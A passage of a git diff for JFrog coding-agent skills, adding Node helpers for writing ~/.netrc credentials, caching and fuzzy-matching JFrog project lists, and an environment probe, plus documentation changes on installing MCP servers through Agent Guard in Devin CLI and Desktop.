Array.isArray(entry)) return null; + if (!wrapped && !("url" in entry)) return null; + return entry; +} + +// Returns the url string (possibly empty) on a valid entry, null otherwise. +export function jfrogMcpUrl(parsed) { + const entry = jfrogMcpEntry(parsed); + return entry && typeof entry.url === "string" ? entry.url : null; +} + +// Fresh RegExp instances every call — a shared module-level `g`-flagged +// regex would carry `lastIndex` state across calls and silently miss +// matches on reuse. +export function mcpPlaceholderRegexes() { + return { + withScheme: new RegExp(`(https?:\\/\\/)(?:${MCP_PLACEHOLDER_PATTERN})`, "g"), + bare: new RegExp(MCP_PLACEHOLDER_PATTERN, "g"), + }; +} diff --git a/skills/jfrog-init/scripts/lib/netrc.mjs b/skills/jfrog-init/scripts/lib/netrc.mjs new file mode 100644 index 0000000..968d4c7 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/netrc.mjs @@ -0,0 +1,58 @@ +// netrc.mjs — writes one `machine` block into ~/.netrc, keeping other hosts. + +import { readFileSync, writeFileSync, renameSync, rmSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +// curl checks HOME before the platform default. +export const NETRC = join(process.env.HOME || homedir(), ".netrc"); + +// Inside a macdef body, lines are just text until a blank one ends it. +function nextMode(mode, keyword, value, host) { + if (mode === "macro") return keyword === "" ? "keep" : "macro"; + if (keyword === "macdef") return "macro"; + if (keyword === "machine") return value === host ? "drop" : "keep"; + if (keyword === "default") return "keep"; + return mode; +} + +// Returns `content` with `host`'s entry removed and every other host untouched. +export function dropNetrcHost(content, host) { + const kept = []; + let mode = "keep"; + for (const line of content.split("\n")) { + const [keyword, value] = line.trim().toLowerCase().split(/\s+/, 2); + mode = nextMode(mode, keyword, value, host); + if (mode !== "drop") kept.push(line); + } + return kept.join("\n"); +} + +// Saves `content` as ~/.netrc, replacing any symlink so the token stays out of a dotfiles repo. +function replaceNetrc(content) { + const tmp = `${NETRC}.${process.pid}.${Date.now()}.tmp`; + try { + writeFileSync(tmp, content, { mode: 0o600, flag: "wx" }); + renameSync(tmp, NETRC); + } catch (err) { + rmSync(tmp, { force: true }); + return { ok: false, error: `could not write ${NETRC}: ${err.message}` }; + } + return { ok: true }; +} + +// Upserts `host`'s credentials as the first entry curl will match. +export function writeNetrc(host, login, token) { + for (const [keyword, value] of Object.entries({ machine: host, login, password: token })) { + if (!/^\S+$/.test(value ?? "")) return { ok: false, error: `invalid netrc ${keyword}` }; + } + + let existing = ""; + try { + existing = readFileSync(NETRC, "utf8"); + } catch (err) { + if (err.code !== "ENOENT") return { ok: false, error: `could not read ${NETRC}: ${err.message}` }; + } + const block = `machine ${host}\n login ${login}\n password ${token}`; + return replaceNetrc(`${[block, dropNetrcHost(existing, host).trim()].filter(Boolean).join("\n\n")}\n`); +} diff --git a/skills/jfrog-init/scripts/lib/project-cache.mjs b/skills/jfrog-init/scripts/lib/project-cache.mjs new file mode 100644 index 0000000..389da54 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/project-cache.mjs @@ -0,0 +1,92 @@ +#!/usr/bin/env node +// project-cache.mjs — short-lived on-disk cache of a server's enumerated +// project list (GET /access/api/v1/projects). The interactive project +// step (SKILL.md Step 6) re-invokes jfrog-detect-project.mjs once per user +// attempt within the same walk (typed guess, "Other" retry, picking a +// suggestion, ...); without this cache each attempt re-hits the network +// to re-enumerate, even though matching/similarity search against the +// list is already done offline (lib/projects.mjs). Only the enumeration +// call itself needs caching — the per-key existence probe in +// jfrog-detect-project.mjs must stay live, since it's the access/ACL check of +// record. +// +// Keyed by server ID, lives in the OS temp dir (contents are public +// project metadata — key/display name — never a secret), and expires +// after TTL_MS so a walk resumed later doesn't trust a stale list. + +import { readFileSync, writeFileSync, renameSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const TTL_MS = 5 * 60 * 1000; + +// A fingerprint of the credentials used to enumerate — never the raw +// token/password, just enough to detect when the identity behind a +// server-id changes (e.g. the user re-runs `jf config add --interactive` +// with a different account, or repoints the same server-id at a +// different JPD). Otherwise a stale list fetched under the old identity +// could be served to the new one. +// +// Stored INSIDE the cache file (protected by its 0600 mode) rather than +// in the filename — a filename embedding even a truncated hash of +// credential material is visible to any local user via a directory +// listing on a shared machine (e.g. `ls /tmp`), which lets someone who +// already holds (or is guessing) a candidate credential confirm a match +// without ever needing read access to the file itself. The 0600 mode +// only protects contents, not the filename, so the fingerprint has to +// live where that protection actually applies. +function fingerprint(creds) { + return createHash("sha256") + .update(`${creds.baseUrl}|${creds.token || ""}|${creds.user || ""}|${creds.password || ""}`) + .digest("hex") + .slice(0, 16); +} + +// Scoped by server-id only — server IDs are non-secret labels already +// visible in `jf config show` and this skill's own detector output, so +// there's nothing sensitive in this filename. +function cachePath(serverId) { + const safe = serverId.replace(/[^a-zA-Z0-9._-]/g, "_"); + return join(tmpdir(), `jfrog-init-projects-${safe}.json`); +} + +// A falsy serverId means the caller couldn't resolve which JPD it's +// talking to — caching under some shared placeholder key would let two +// different (unresolved) servers read back each other's project list. +// Skip the cache entirely rather than risk that cross-server leak. +export function readCachedProjectList(serverId, creds) { + if (!serverId || !creds) return null; + try { + const parsed = JSON.parse(readFileSync(cachePath(serverId), "utf8")); + if (!parsed || typeof parsed.fetchedAt !== "number" || parsed.body === undefined) return null; + if (parsed.fingerprint !== fingerprint(creds)) return null; + if (Date.now() - parsed.fetchedAt > TTL_MS) return null; + return parsed.body; + } catch { + return null; + } +} + +export function writeCachedProjectList(serverId, creds, body) { + if (!serverId || !creds) return; + try { + const record = { fetchedAt: Date.now(), fingerprint: fingerprint(creds), body }; + // Path is derived from server-id alone (non-secret, guessable) in a + // shared OS temp dir — writing straight to it would let another local + // user pre-plant a symlink there that writeFileSync's default "w" + // flag would follow and truncate, overwriting an arbitrary file the + // real user can write to. Writing to a per-process-unique temp name + // first (also "wx", refusing to follow/overwrite anything already + // there) and renaming into place instead replaces whatever directory + // entry — file or symlink — sits at the final path, without ever + // dereferencing it. Same pattern as jfrog-state-file.mjs. + const target = cachePath(serverId); + const tmp = `${target}.tmp.${process.pid}`; + writeFileSync(tmp, JSON.stringify(record), { mode: 0o600, flag: "wx" }); + renameSync(tmp, target); + } catch { + // Cache is a pure optimization — a write failure just means the next + // invocation re-fetches, so it's never surfaced to the caller. + } +} diff --git a/skills/jfrog-init/scripts/lib/projects.mjs b/skills/jfrog-init/scripts/lib/projects.mjs new file mode 100755 index 0000000..f5548c6 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/projects.mjs @@ -0,0 +1,155 @@ +// projects.mjs — resolves a user-typed project name-or-key against a +// GetProjectsList response (https://docs.jfrog.com/projects/reference/getprojectslist), +// which returns either a bare array of project objects or `{"projects": [...]}`, +// each with `project_key`/`projectKey` and `display_name`/`displayName`. + +function extractList(data) { + if (Array.isArray(data)) return data; + if (data && Array.isArray(data.projects)) return data.projects; + return []; +} + +export function projectsWithNames(data) { + const seen = new Set(); + const out = []; + for (const p of extractList(data)) { + if (!p || typeof p !== "object") continue; + const key = p.project_key ?? p.projectKey; + if (typeof key !== "string" || !key || seen.has(key)) continue; + seen.add(key); + const name = p.display_name ?? p.displayName; + out.push({ key, displayName: typeof name === "string" && name ? name : key }); + } + out.sort((a, b) => a.key.localeCompare(b.key)); + return out; +} + +// Caps the list a detector emits back to its caller, WITHOUT touching the +// list used for matching (resolveProject()/findSimilarProjects() below still +// need the full enumeration to match correctly against any typed input, not +// just the first N). A JPD with hundreds of projects would otherwise dump +// them all into the caller's own context on every non-green result — the +// caller only ever offers the first two as picker options anyway (see +// references/project-picker.md), so anything past the cap changes nothing +// about what the user sees, only how much the caller has to read. +// `candidatesTotal` is present only when actually truncated. +export function capCandidatesForDisplay(list, limit = 20) { + if (list.length <= limit) return { candidatesWithNames: list }; + return { candidatesWithNames: list.slice(0, limit), candidatesTotal: list.length }; +} + +const norm = (s) => s.toLowerCase().replace(/[^a-z0-9]/g, ""); + +// A substring match (tiers 4/5 below, and findSimilarProjects' containment +// check) only counts if the shorter side is long enough to be meaningful — +// otherwise a short needle like "ai" or a short project key like "da" +// spuriously "matches" almost anything that happens to contain those +// characters in a row. +const MIN_SUBSTRING_LEN = 3; + +// Resolves `needle` against BOTH project_key and display_name, strictest +// tier first (each tier only runs if the previous one had zero hits): +// 1. Exact key 4. Unique substring, literal +// 2. Exact display name 5. Unique substring, separator-stripped +// 3. Exact, separator-stripped ("aicatalog" == "ai_catalog" / "ai catalog") +// Returns { key } on a unique match, { tied: [...] } on an ambiguous one +// (multiple hits at the first tier that has any), or null on no match. +// Tiers 3/5 are skipped when the separator-stripped needle is empty (pure +// punctuation input), since an empty string is a substring of everything. +// Tiers 4/5 are also skipped when the needle is shorter than +// MIN_SUBSTRING_LEN, for the same reason findSimilarProjects guards its +// containment check — a short needle can substring-match multiple +// unrelated projects and get misreported as ambiguous. +// +// Takes the already-deduped/sorted `projectsWithNames()` output rather +// than raw API data — the caller already computed it once for +// `candidatesWithNames`, and re-deriving it here on every call would +// redo that dedup+sort for no benefit. +export function resolveProject(projects, needle) { + if (!needle) return null; + + const needleLc = needle.toLowerCase(); + const needleNorm = norm(needle); + + const tiers = [ + () => projects.filter((p) => p.key.toLowerCase() === needleLc), + () => projects.filter((p) => p.displayName.toLowerCase() === needleLc), + () => (needleNorm ? projects.filter((p) => norm(p.key) === needleNorm || norm(p.displayName) === needleNorm) : []), + () => + needleLc.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => p.key.toLowerCase().includes(needleLc) || p.displayName.toLowerCase().includes(needleLc)) + : [], + () => + needleNorm.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => norm(p.key).includes(needleNorm) || norm(p.displayName).includes(needleNorm)) + : [], + ]; + + for (const tier of tiers) { + const hits = tier(); + if (hits.length === 1) return { key: hits[0].key }; + if (hits.length > 1) return { tied: [...new Set(hits.map((p) => p.key))] }; + } + return null; +} + +function levenshtein(a, b) { + if (a === b) return 0; + if (!a.length) return b.length; + if (!b.length) return a.length; + let prev = Array.from({ length: b.length + 1 }, (_, j) => j); + for (let i = 1; i <= a.length; i++) { + const row = [i]; + for (let j = 1; j <= b.length; j++) { + row[j] = a[i - 1] === b[j - 1] ? prev[j - 1] : 1 + Math.min(prev[j - 1], prev[j], row[j - 1]); + } + prev = row; + } + return prev[b.length]; +} + +// "Did you mean...?" suggestions for a needle that matched nothing in +// resolveProject. Ranks every project by how close it looks to the typed +// input — substring containment either direction (e.g. "widgets20" typed, +// project key "widgets2" is a prefix of it) beats edit distance, which +// catches the common case of a stray/missing/swapped character +// ("widgets20" vs "widgets2", "wdgets1" vs "widgets1"). A project only qualifies +// if it's a reasonably close typo, not just "closest of a bad lot" — pure +// edit-distance ranking with no floor would always suggest *something*, +// even for input that resembles nothing on the JPD. +// +// Takes the same already-deduped/sorted `projectsWithNames()` output as +// resolveProject() above, for the same reason — avoid a third +// re-derivation of the same list from raw API data. +export function findSimilarProjects(projects, needle, limit = 2) { + if (!needle) return []; + const needleLc = needle.toLowerCase(); + + const containedIn = (haystack, piece) => piece.length >= MIN_SUBSTRING_LEN && haystack.includes(piece); + + const scored = projects.map((p) => { + const keyLc = p.key.toLowerCase(); + const nameLc = p.displayName.toLowerCase(); + const contains = + containedIn(needleLc, keyLc) || + containedIn(keyLc, needleLc) || + (nameLc && (containedIn(needleLc, nameLc) || containedIn(nameLc, needleLc))); + // The threshold scales off whichever side (key or name) actually + // produced the winning distance — not always the key. A short key + // paired with a long display name would otherwise clamp the + // threshold down to the key's tiny length even when the needle is a + // genuinely close typo of the (much longer) name, wrongly rejecting it. + const keyDist = levenshtein(needleLc, keyLc); + const nameDist = nameLc ? levenshtein(needleLc, nameLc) : Infinity; + const dist = Math.min(keyDist, nameDist); + const winnerLen = keyDist <= nameDist ? keyLc.length : nameLc.length; + const closeEnough = dist <= Math.max(2, Math.ceil(Math.min(needleLc.length, winnerLen) * 0.4)); + return { key: p.key, displayName: p.displayName, contains, dist, qualifies: contains || closeEnough }; + }); + + return scored + .filter((s) => s.qualifies) + .sort((a, b) => (a.contains !== b.contains ? (a.contains ? -1 : 1) : a.dist !== b.dist ? a.dist - b.dist : a.key.localeCompare(b.key))) + .slice(0, limit) + .map(({ key, displayName }) => ({ key, displayName })); +} diff --git a/skills/jfrog-mcp-management/SKILL.md b/skills/jfrog-mcp-management/SKILL.md index 8f38454..d70fbe5 100644 --- a/skills/jfrog-mcp-management/SKILL.md +++ b/skills/jfrog-mcp-management/SKILL.md @@ -1,10 +1,15 @@ --- name: jfrog-mcp-management description: >- - Use to install, list, or remove MCP servers through the JFrog Agent Guard (npx - @jfrog/agent-guard), and browse the JFrog MCP catalog. Use whenever the user - wants to add/enable/list/remove/uninstall an MCP server or tool — even without - saying "MCP" — and never install one any other way. + Use to install, list, or remove MCP servers, and to discover which MCPs the + user can install — including questions about available, approved, or allowed + MCPs for a project. That governed catalog is the authoritative answer; do + not answer those questions from local IDE/settings allowlists alone. Use + whenever the user wants to add/enable/install/list/remove/uninstall/configure + an MCP or write/update the agent's MCP config — even if they name a package + like `@scope/pkg` and even without saying "MCP" or "JFrog". Never install an + MCP any other way. All of this goes through the JFrog Agent Guard (npx + @jfrog/agent-guard). compatibility: >- Requires network access to the npm registry and the JFrog platform, and ~/.jfrog/ write access for OAuth login and cache cleanup. @@ -101,7 +106,7 @@ and List → Currently installed read only local config, so they skip this. | User intent | Section | | --- | --- | | add / install / set up / enable / configure an MCP | [Install](#install-an-mcp) | -| list / show / what can I install / what's set up / connected | [List](#list-mcps) | +| list / show / what can I install / allowed / approved / available / catalog / what's set up / connected in the context of MCPs | [List](#list-mcps) | | remove / uninstall / delete / disconnect / turn off an MCP | [Remove](#remove-an-mcp) | --- @@ -196,7 +201,7 @@ Split Step 2 inputs by `isRequired`: Handling: **secrets** (`isSecret=true`) MUST be a value reference, NEVER a raw value — never take a secret in chat, echo it, or write it into config. **Non-secrets** may be a literal or a reference. For the exact syntax and, on -shell-based harnesses (Claude Code, Cursor, Codex, Devin Desktop, OpenCode), how the user +shell-based harnesses (Claude Code, Cursor, Codex, Devin, OpenCode), how the user exports/persists the variable, see the harness file and [references/persisting-env-vars.md](references/persisting-env-vars.md). (VS Code prompts for `inputs` values on first start — no shell export.) @@ -277,7 +282,7 @@ file or shell: | User said… | Run | | --- | --- | -| "available", "what can I install", "what's in the catalog", "list MCPs" without other context | **Available to install** — go straight to `--list-available`; do NOT inspect local files first | +| "available", "what can I install", "what's in the catalog", "list MCPs", "allowed to install", "approved" without other context | **Available to install** — go straight to `--list-available`; do NOT inspect local files / IDE allowlists first. Do NOT ask whether to check the catalog. | | "installed", "configured", "connected", "running", "what MCPs do I have" | **Currently installed** | | ambiguous / both | run **both** in order: Currently installed first, then Available to install, as separate tables | diff --git a/skills/jfrog-mcp-management/references/agent-guard-common.md b/skills/jfrog-mcp-management/references/agent-guard-common.md index f060bf9..1d1e1e3 100644 --- a/skills/jfrog-mcp-management/references/agent-guard-common.md +++ b/skills/jfrog-mcp-management/references/agent-guard-common.md @@ -19,8 +19,25 @@ Wherever `` appears, substitute the value of the `JFROG_AGENT_GUARD_REPO` environment variable if it is set. Otherwise use `https://releases.jfrog.io/artifactory/api/npm/coding-agents-npm/`. +`@jfrog/agent-guard` is not published to the public npm registry; resolve it +with `--registry ` above rather than the default npm registry. + ## Pre-flight (applies to every agent guard command — `--list-available`, `--inspect`, `--login`) +**Environment probe (run once before resolving the project key and server).** +Before resolving credentials and the JFrog project key, run the skill’s env +probe so each var is printed on its own line (chained `printenv` or truncating +with `head` can merge lines and confuse the read). Prefer this over inventing +an env check; do not print raw token values — report tokens as `present` only; +prefer reporting `JFROG_URL` / `JF_URL` as `present` only as well; an empty +value after the label means the variable is unset. Print real values for +`JF_PROJECT` and `JFROG_AGENT_GUARD_REPO` (needed for `--project` and +enforceable MCP entries): + +```bash +node "/scripts/jfrog-agent-guard-env-probe.mjs" +``` + - **Live execution is MANDATORY — context reuse is FORBIDDEN.** Every time the user asks to list / show / inspect / check the catalog or a specific MCP — including a repeated question already answered earlier in the chat — you diff --git a/skills/jfrog-mcp-management/references/harness-common.md b/skills/jfrog-mcp-management/references/harness-common.md index 850a365..febf55a 100644 --- a/skills/jfrog-mcp-management/references/harness-common.md +++ b/skills/jfrog-mcp-management/references/harness-common.md @@ -38,7 +38,7 @@ editor UI or `mcp.json`, so it falls through to the Fallback section. | Codex | `CODEX_SANDBOX` / `CODEX_THREAD_ID` / `CODEX_CI` | [harness-codex.md](harness-codex.md) | | Cursor | `CURSOR_AGENT` / `CURSOR_CLI` / `CURSOR_TRACE_ID` env var | [harness-cursor.md](harness-cursor.md) | | OpenCode | `OPENCODE` | [harness-opencode.md](harness-opencode.md) | -| Devin Desktop | Your system prompt / system instructions identify you as **Devin** (Devin Desktop / Devin Local / Cognition). That alone is enough. Optionally confirm with `VSCODE_IPC_HOOK` set to the Devin Desktop IPC socket (full path), e.g. macOS: `~/Library/Application Support/Devin/-main.sock` — the expanded path contains `/Devin/`. The path alone is **not** enough. | [harness-devin.md](harness-devin.md) | +| Devin | Your system prompt / system instructions identify you as **Devin** (Devin Desktop / Devin Local / Devin CLI / Cognition). | [harness-devin.md](harness-devin.md) | | VS Code editor | `TERM_PROGRAM=vscode` **and no `CURSOR_*` var is set** **and no `OPENCODE` var is set** **and no `CODEX_*` var is set** **and no `CLAUDECODE`/`CLAUDE_CODE_ENTRYPOINT` var is set** **and no `GEMINI_CLI` / `GOOSE_TERMINAL` / `COPILOT_CLI` var is set** **and** your system prompt / system instructions do **not** identify you as Devin | [harness-vscode.md](harness-vscode.md) | | anything else | none of the above | **Fallback** section below — no harness file exists | diff --git a/skills/jfrog-mcp-management/references/harness-devin.md b/skills/jfrog-mcp-management/references/harness-devin.md index 40f04c7..d4800ca 100644 --- a/skills/jfrog-mcp-management/references/harness-devin.md +++ b/skills/jfrog-mcp-management/references/harness-devin.md @@ -1,37 +1,59 @@ -# Harness: Devin **Desktop** - -Devin Desktop-specific config for the `jfrog-mcp-management` skill. Read this -together with [harness-common.md](harness-common.md) (shared entry shape and -success criterion). You reached this file because Step A matched **Devin**: -your system prompt / system instructions identify you as Devin. You may -optionally confirm with `VSCODE_IPC_HOOK` under the Devin user-data dir (e.g. -`~/Library/Application Support/Devin/-main.sock`). The environment +# Harness: Devin + +Devin-specific config for the `jfrog-mcp-management` skill (Devin CLI and +Devin Local in Devin Desktop). Read this together with +[harness-common.md](harness-common.md) (shared entry shape and success +criterion). You reached this file because Step A matched **Devin**: your +system prompt / system instructions identify you as Devin. The environment script does not detect Devin. -Devin Desktop is a VS Code-family Electron shell that runs the Cascade / Devin -Local agent. It stores MCP configuration in the Windsurf config file used by -the underlying platform. +This harness targets the **Devin plugin** path only. + +## Detect the Devin surface + +Run this from **your** agent environment (not a terminal the user typed into — +the two can differ) before choosing restart or verify steps: + +```bash +printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM-}" +printf 'VSCODE_IPC_HOOK=%s\n' "${VSCODE_IPC_HOOK-}" +``` + +Classify from the result. **Environment markers win over system-prompt +wording**, because Devin Local's system prompt also describes an "interactive +command line agent" and must NOT be treated as CLI: + +- **Devin Desktop (Devin Local):** `VSCODE_IPC_HOOK` is set to a path inside a + Devin user-data directory (contains `/Devin/` on macOS/Linux, `\Devin\` on + Windows). Optionally the system prompt identifies Devin Desktop / + Devin Local. +- **Devin CLI:** no Devin Desktop marker above — `VSCODE_IPC_HOOK` unset (or + not under a Devin user-data dir). This holds even when the system prompt + calls you an "interactive command line agent". +- If a Desktop marker is present, choose Desktop even if the prompt reads + CLI-like. If nothing is conclusive, ASK the user — do not guess. + +Use the matching Desktop or CLI instructions below for restart, list, and +verify. **Config write path is the same for both** (see Config files). Do not +mix restart or verification surfaces. ## Config files +Both Devin CLI and Devin Local use the same Devin MCP config files. + - **Default scope: user-level.** Personal, not committed, available across all - workspaces. **Prefer Windsurf** — the same file Cascade uses and that the - JFrog Desktop extension writes the `jfrog` MCP into: - - macOS/Linux: `~/.codeium/windsurf/mcp_config.json` - - Windows: `%APPDATA%\.codeium\windsurf\mcp_config.json` + workspaces: + - macOS/Linux: `~/.config/devin/mcp_config.json` + - Windows: `%APPDATA%\devin\mcp_config.json` Create the parent directory first (`mkdir -p` / platform equivalent), then - create the file if missing: `{ "mcpServers": {} }`. Devin Local imports this - file when `read_config_from.windsurf` is not `false` in - `~/.config/devin/config.json` (default) — so one write serves Cascade and Local. -- **Exception — migrated native store:** If `~/.config/devin/mcp_config.json` - **already exists** (user accepted **Migrate MCP config** / Copy), Devin Local - uses that file instead of Windsurf import. For Local, merge entries **there** - and do **not** require `read_config_from.windsurf`. Cascade never reads the - native file — if the entry must also appear in Cascade, merge into Windsurf - as well. Prefer **Cancel** on migrate so both agents stay on Windsurf. -- **Project scope:** Not supported by Devin Desktop's Cascade / Windsurf config. -- Do not ask which scope unless the user brings it up. + create the file if missing: `{ "mcpServers": {} }`. +- **Project scope** (only if the user asks): `.devin/mcp_config.json` in the + project root (shared / commit-able). +- **Local project override** (only if the user asks): `.devin/mcp_config.local.json` + (gitignored; personal keys). +- Do not ask which scope unless the user brings it up; use the user-level + default above. ## Top-level key @@ -39,76 +61,91 @@ the underlying platform. ## Value reference (env / secrets) -`${env:VAR_NAME}`, resolved from the environment that launched Devin Desktop. -For `Bearer` headers: `"Bearer ${env:TOKEN}"`. Devin Desktop also supports -`${file:~/path/to/file}` to inline a file's trimmed contents. The user must -export the variable in the environment that launches Devin Desktop (see -[persisting-env-vars.md](persisting-env-vars.md)); values are picked up on -next launch. If a required `${env:VAR}` is unset the Agent Guard fails at -startup — confirm the export before restart. Never write a raw secret. +`${env:VAR_NAME}`, resolved from the environment that launches the current +surface (Devin Desktop or Devin CLI). For `Bearer` headers: +`"Bearer ${env:TOKEN}"`. Also supports `${file:~/path/to/file}` to inline a +file's trimmed contents. The user must export the variable in the launching +environment (see [persisting-env-vars.md](persisting-env-vars.md)); values are +picked up on next launch / new session. If a required `${env:VAR}` is unset +the upstream MCP may fail at startup — confirm the export before restart. +Never write a raw secret. + +`${env:…}` / `${file:…}` are for the upstream MCP's own secrets and inputs — +never for JFrog Agent Guard credentials (see below). + +## JFrog credentials - from the `jf` config + +On Devin (CLI and Desktop Local), authenticate Agent Guard only through the +on-disk `jf` CLI config. **Always include `--server `** in every +Agent Guard command and written MCP config entry — resolve `` per +the agent-guard-common Pre-flight rules, never emit an empty `--server`, and do +**not** omit `--server` even when only one `jf` server is configured (explicit +server ID matches plugin enforcement). + +Do **not** use the shared [SKILL.md](../SKILL.md) env-var auth path +(`JFROG_URL` / `JFROG_ACCESS_TOKEN`, or legacy `JF_URL` / `JF_ACCESS_TOKEN`) on +Devin, even though Devin would resolve or forward them into Agent Guard. If +there is no usable `jf` server, ask the user to add one (`jf c add `, or +`jf login`) before continuing. + +If credentials cannot be resolved (no `--server ` in the entry, or no +usable `jf` server to resolve one from), the entry fails to start and the server +connects with no tools. ## Enable -Devin Desktop loads every non-disabled entry in `mcpServers` automatically on -window load; there is no per-server approval prompt to pre-approve. If the -entry carries `"disabled": true`, remove it so the server runs. Otherwise -nothing to do here. +Both surfaces start every server under `mcpServers` that is not marked +`"disabled": true` on that server's own entry (per-server flag in the config — +same idea as `devin mcp disable` / `enable`). If `` has +`"disabled": true`, remove that flag so the server can run. Approving MCP tool +calls in chat is separate from enablement. ## Restart -`Developer: Reload Window` (or fully quit and reopen Devin Desktop). Devin -Desktop re-reads `mcp_config.json` on window load and reconnects each server. +- **Devin Desktop (Local):** tell the user to run `Developer: Reload Window` (or fully quit and + reopen Devin Desktop). Desktop re-reads MCP config on window / session load. +- **Devin CLI:** tell the user to start a new Devin CLI session — exit and run + `devin` again in the same directory — so the added/removed entry takes + effect (user, project, and local MCP config files are read at session start). ## List installed -Open the **MCP servers** panel (Cascade panel toolbar, or -`Devin Settings → Cascade → MCP Servers`), or **Open customizations** on a -Devin Local session — each configured server is listed with its live -connection state. Servers and their tools are also reachable via `@` in the -chat input. Do **not** use `/mcp` here: that slash command is Devin CLI only; -in Desktop `/` lists workflows, so `/mcp` can fuzzy-match a skill and mislead. -Confirm via the MCP servers panel / Open customizations, or by checking that -`` exists under `mcpServers` in the active store (Windsurf by default; -native `~/.config/devin/mcp_config.json` only when that file already exists — -see Config files). When reading the file, do not report secret values — env -**key names** only; never display resolved `${env:…}` or `${file:…}` contents. +Read `mcpServers` from `~/.config/devin/mcp_config.json` (or the project/local +file if that scope was used). Do not report secret values — env **key names** +only. + +- **Devin CLI and Devin Desktop (Local):** run `devin mcp list` for + live connection status. +- If the config and `devin mcp list` are not enough, tell the user to run + `/mcp` for the interactive status panel. On **Devin Desktop (Local)** only, + they can also open **Open customizations** (MCP list) and report each + server's status. ## Verify -Before treating a missing server as Failed: confirm the entry is in the active -store (Windsurf by default; native only when that file already exists). For -Devin Local on Windsurf, also confirm `read_config_from.windsurf` is not -`false`. Skip that flag check when Local is on the native file. - -Ask which MCP servers are available, or open the MCP servers panel / Open -customizations, and confirm `` is listed and connected. Then ask the -agent to list that server's tools (or reach it via `@`); the server MUST -expose **at least one tool**. A connected indicator alone is NOT proof — the -Agent Guard proxy can report connected with 0 upstream tools. Empty tool -list = Failed → see the "0 tools" troubleshooting in +Before treating a missing server as Failed, confirm the entry is in the active +store for this harness (user `~/.config/devin/mcp_config.json` by default). + +After the user completes Restart (see Restart), run `devin mcp list` for connection status, +then **list that server's live tools** through the connected MCP (Devin CLI and +Devin Desktop Local). + +The server MUST expose **at least one tool**. A connected indicator alone is +NOT proof — the Agent Guard proxy can report connected with 0 upstream tools. +Empty tool list = Failed → see the "0 tools" troubleshooting in [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). +Do **not** treat a tool list scraped from npm / GitHub docs as verification — +only a live tool list from the connected server counts. + On first connect without cached OAuth, Devin opens a browser to sign in; later -runs reuse stored credentials. Treat **Output → MCP** as authentication / -connection status only — never as a source of token values. Devin Local may -also prompt to approve each MCP tool call by default — grant the prompt before -treating an empty list as a failure. +runs reuse stored credentials. Devin Local and Devin CLI may prompt to approve +each MCP tool call by default — grant the prompt before treating an empty list +as a failure. ## Notes -- Cascade always reads `~/.codeium/windsurf/mcp_config.json`. Devin Local - imports that same file when `read_config_from.windsurf` is enabled in - `~/.config/devin/config.json` (default). If Local is on Windsurf and that - flag is `false`, Local will not see Windsurf entries even though the file on - disk is unchanged. -- Some Devin Desktop builds prompt to copy Windsurf MCP config to - `~/.config/devin/mcp_config.json` (**Migrate MCP config**). Prefer **Cancel** - unless the user wants to migrate: once the native file exists, Local uses it - as its store (no Windsurf-import requirement) while Cascade continues to use - Windsurf only — installs then diverge unless you write both. +- Devin CLI and Devin Local share the same MCP config paths. An install from + either surface is visible to the other after the appropriate restart. - OAuth `--login` caches tokens in `~/.jfrog/jfrogmcp.conf.json` (same as all harnesses); removal cleanup of that file is the same everywhere. -- Devin Desktop is distinct from **Devin CLI** (the `devin` terminal agent): - the CLI has its own config at `.devin/config.json` / `.devin/config.local.json` - and is not covered by this harness file. CLI-only surfaces such as `/mcp` - do not apply here. diff --git a/skills/jfrog-mcp-management/references/persisting-env-vars.md b/skills/jfrog-mcp-management/references/persisting-env-vars.md index 1460227..7c0c49c 100644 --- a/skills/jfrog-mcp-management/references/persisting-env-vars.md +++ b/skills/jfrog-mcp-management/references/persisting-env-vars.md @@ -5,7 +5,7 @@ so its value takes effect. How each harness picks up the exported variable: - **Claude Code** — a `${VAR}` reference in the config. - **Cursor** — a `${env:VAR}` reference in the config. -- **Devin Desktop** — a `${env:VAR}` reference in the config. +- **Devin Desktop / Devin CLI** — a `${env:VAR}` reference in the config. - **Codex** — a variable name listed in the `env_vars` allow-list; Codex forwards that named variable's value from the launching shell to the server (e.g. an env var like `Authorization`). diff --git a/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-env-probe.mjs b/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-env-probe.mjs new file mode 100644 index 0000000..14f832e --- /dev/null +++ b/skills/jfrog-mcp-management/scripts/jfrog-agent-guard-env-probe.mjs @@ -0,0 +1,33 @@ +#!/usr/bin/env node +// Copyright (c) JFrog Ltd. 2026 +// Licensed under the Apache License, Version 2.0 +// https://www.apache.org/licenses/LICENSE-2.0 +// +// JFrog Agent Guard environment probe. +// +// Safe cross-platform env dump used by the jfrog-mcp-management skill pre-flight +// (before resolving project key / server). Prints one labeled line per var so +// agents do not invent chained printenv / head probes that merge lines. +// +// Contract: +// - Exit 0 after writing all lines (do not call process.exit — let Node +// flush stdout, especially under pipes) +// - Tokens (JFROG_ACCESS_TOKEN / JF_ACCESS_TOKEN): "present" or empty +// - URLs (JFROG_URL / JF_URL): "present" or empty (prefer presence-only) +// - JF_PROJECT / JFROG_AGENT_GUARD_REPO: real value or empty when unset +// - Never print raw token values + +import process from "node:process"; + +const presentOrEmpty = (value) => (value ? "present" : ""); + +const lines = [ + `JFROG_URL: ${presentOrEmpty(process.env.JFROG_URL)}`, + `JFROG_ACCESS_TOKEN: ${presentOrEmpty(process.env.JFROG_ACCESS_TOKEN)}`, + `JF_URL: ${presentOrEmpty(process.env.JF_URL)}`, + `JF_ACCESS_TOKEN: ${presentOrEmpty(process.env.JF_ACCESS_TOKEN)}`, + `JF_PROJECT: ${process.env.JF_PROJECT ?? ""}`, + `JFROG_AGENT_GUARD_REPO: ${process.env.JFROG_AGENT_GUARD_REPO ?? ""}`, +]; + +process.stdout.write(`${lines.join("\n")}\n`); diff --git a/skills/jfrog-package-safety-and-download/SKILL.md b/skills/jfrog-package-curation/SKILL.md similarity index 80% rename from skills/jfrog-package-safety-and-download/SKILL.md rename to skills/jfrog-package-curation/SKILL.md index 